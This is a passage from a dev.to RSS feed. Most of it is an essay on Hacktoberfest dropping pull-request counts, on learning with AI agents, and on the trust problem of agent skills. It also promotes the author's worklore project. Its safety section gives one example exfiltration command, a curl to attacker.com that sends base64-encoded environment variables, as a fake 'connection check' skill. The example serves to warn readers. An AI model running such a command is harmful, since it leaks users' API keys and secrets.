&lt;li&gt;Ask "is a directory listing what I actually want" before doing the work that a listing requires.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Run this instead of re-typing it
&lt;/h2&gt;

&lt;p&gt;Every write-up linked above carries a machine-readable "Reproduce this" contract — prerequisites, the inputs it needs from you, ordered steps, and a verification section your agent runs to prove it actually worked. You point your agent at it and it does the work in &lt;em&gt;your&lt;/em&gt; project.&lt;/p&gt;

&lt;p&gt;They're collected in build order as a path: &lt;strong&gt;&lt;a href="https://worklore.dev/paths/build-and-ship-your-own-mcp-server" rel="noopener noreferrer"&gt;Build and ship your own MCP server&lt;/a&gt;&lt;/strong&gt;. It's honest about its own state — one step is currently marked a proposal rather than a result, because I've resubmitted after that rejection and the verdict isn't in yet.&lt;/p&gt;

&lt;p&gt;If you're weighing whether an MCP server is the right move at all, or you're stuck on the OAuth step, I do consultations — details at &lt;a href="https://worklore.dev" rel="noopener noreferrer"&gt;worklore.dev&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>api</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The code was never the point: Hacktoberfest, AI, and the value of the climb</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Tue, 22 Sep 2026 02:35:36 +0000</pubDate>
      <link>https://dev.to/yahhi/the-code-was-never-the-point-hacktoberfest-ai-and-the-value-of-the-climb-3ahd</link>
      <guid>https://dev.to/yahhi/the-code-was-never-the-point-hacktoberfest-ai-and-the-value-of-the-climb-3ahd</guid>
      <description>&lt;p&gt;I have a small drawer of Hacktoberfest T-shirts. Four of them, I think. Every October for years I would carve out a weekend, find a few issues, open my pull requests, and wait for the merges that earned me the shirt. I wore them with real pride. They were proof that I had shown up for open source.&lt;/p&gt;

&lt;h2&gt;
  
  
  The end of the PR count
&lt;/h2&gt;

&lt;p&gt;This year, Hacktoberfest is not counting pull requests.&lt;/p&gt;

&lt;p&gt;The whole thing has moved to hundreds of in-person "Fests" and an online hackathon built around open-source and open-weight AI. Their own wording is what stuck with me: "Instead of counting PRs, you'll write your first skills.md, build your own open-source agent, fine-tune an open-weight model, or go wherever your curiosity takes you." And we all know why. AI made a low-effort pull request trivial to generate, and maintainers drowned in the noise.&lt;/p&gt;

&lt;p&gt;So I sat with an uncomfortable thought. The patches I sent for those shirts — an agent writes that kind of code now in a few seconds. If the code was the deliverable, the deliverable just got cheap. What was the T-shirt ever really for?&lt;/p&gt;

&lt;h2&gt;
  
  
  Walking the terrain, or flying over it
&lt;/h2&gt;

&lt;p&gt;Hacktoberfest's answer is that the thing under the code is still there. The collaboration. The habit of working on something other people actually need. And the learning — we used to learn &lt;em&gt;through&lt;/em&gt; writing code, and now agents help us learn, but the learning was always the point, not the typing.&lt;/p&gt;

&lt;p&gt;I keep coming back to a picture in my head. Learning a language, or a new repository, used to be a route across hard terrain: mountains, lakes, long detours. The difficulty &lt;em&gt;was&lt;/em&gt; the training. It was never about memorizing syntax — it was building a real skill: writing understandable, even beautiful, code in that exact language, with that exact library. You got to know a codebase the way you get to know a landscape — by walking it until it stopped surprising you.&lt;/p&gt;

&lt;p&gt;Now we fly over it. "Tell me about this repository." "Fix this error, and that one." We lift off and land near almost any destination, and skip the climb. There used to be a limit to how many routes I could realistically walk in a month — a handful of repos I could get familiar enough with to actually help. Now I can drop into nearly any of them.&lt;/p&gt;

&lt;p&gt;It is genuinely freeing. But the climb was not only friction. It was where judgment came from — the sense of whether the destination was even the right one, and whether the fix I landed was correct and not just plausible. Flying gives you reach. It does not hand you the judgment; that still has to come from somewhere. This is not an argument against flying. It is just worth being honest that reach and understanding are not the same thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The new bottleneck is trust
&lt;/h2&gt;

&lt;p&gt;Which is where Hacktoberfest's new map gets interesting. The routes now are skills, models, agents. The happy path — you solve a problem, you write it up as a skill (a short set of instructions another agent can follow), you push a repo, and if it is useful, other people's agents pick it up and it spreads. On paper it sounds great: knowledge sharing without the old friction.&lt;/p&gt;

&lt;p&gt;Except there are two difficulties on that map that no agent flies over for you.&lt;/p&gt;

&lt;p&gt;The first is simply being understood. It is older than code — it is the plain human problem of getting someone to see your idea the way you see it. You write a skill because you solved something real. But will the person who needs it ever realize it applies to &lt;em&gt;their&lt;/em&gt; case? And when their agent reads your instructions, will it follow them, or quietly fill the gaps with something you never meant? A skill nobody recognizes as relevant, or that an agent half-invents its way through, helped no one.&lt;/p&gt;

&lt;p&gt;The second is safety, and it is the same worry Hacktoberfest is reacting to, seen from the other side. Spam floods maintainers because AI output is cheap to produce and hard to trust. Now flip it around: you find a skill on the internet and your agent is about to &lt;em&gt;run&lt;/em&gt; it, with your permissions. Picture one that presents itself as a harmless "connection check" and quietly runs &lt;code&gt;curl attacker.com?env=$(env | base64)&lt;/code&gt; — shipping your environment variables, API keys and all, off the machine, while your agent runs it with the same confidence it runs anything else. Is that safe? "It's on GitHub" is not an answer. Unverifiable knowledge coming in and unverifiable code going out are the same trust problem, just flipped around.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part no agent does for you
&lt;/h2&gt;

&lt;p&gt;Here is the part I only understood in hindsight. I have been building a small project called worklore, and I built it before I had ever framed either of these problems out loud. I just knew the two things that frustrated me most about sharing work. Every README promises the world — the skill does everything short of flying you to the moon — but I could never tell what one actually did, or whether it even fit my case, without a real example in front of me. And once I decided to run it, there was the quieter worry: could I trust a skill I didn't fully understand with my own data, when I didn't know the whole story of what it touched?&lt;/p&gt;

&lt;p&gt;So worklore became my small contribution to this new era — an experiment I am building in the open, more than a finished product. To prove a write-up actually worked, I leaned on evidence instead of stars or vibes: a story carries a machine-readable "reproduce this" contract, and its count moves only when a signed-in person's agent runs that contract in their own repo and reports back. And to answer "is it safe," it can x-ray a skill before you run it — a static scan of the skill's own text that pins what it can touch (files, network, secrets, shell) to a capability tier. It is early, and I would rather build it in the open than pretend I have it solved.&lt;/p&gt;

&lt;p&gt;I didn't see this coming. But when I read the new Hacktoberfest page, I recognized it immediately. Seems like I built the thing in Hacktoberfest's spirit without actually thinking about it.&lt;/p&gt;

&lt;p&gt;Maybe that is the real shift. We stopped counting the artifact — the PR, the patch, the shirt — because the artifact got cheap. What is left to value is what was always underneath: whether we are working on something people need, whether we are learning while we do it, and whether we can share what we learn in a way others can understand and safely use.&lt;/p&gt;

&lt;p&gt;If agents let us fly over the terrain, then the work worth doing now is marking the trails and clearing safe places to land — so the next person can tell a real route from a wrong one before they follow it. That is the unglamorous part no agent does for you, and it is the part I care about most.&lt;/p&gt;

&lt;p&gt;The T-shirts are still in the drawer. I am not sad about the change. If anything, it finally named the thing I liked about October all along. It was never the count — it was the climb.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>hacktoberfest</category>
      <category>programming</category>
      <category>agents</category>
    </item>
  </channel>
</rss>
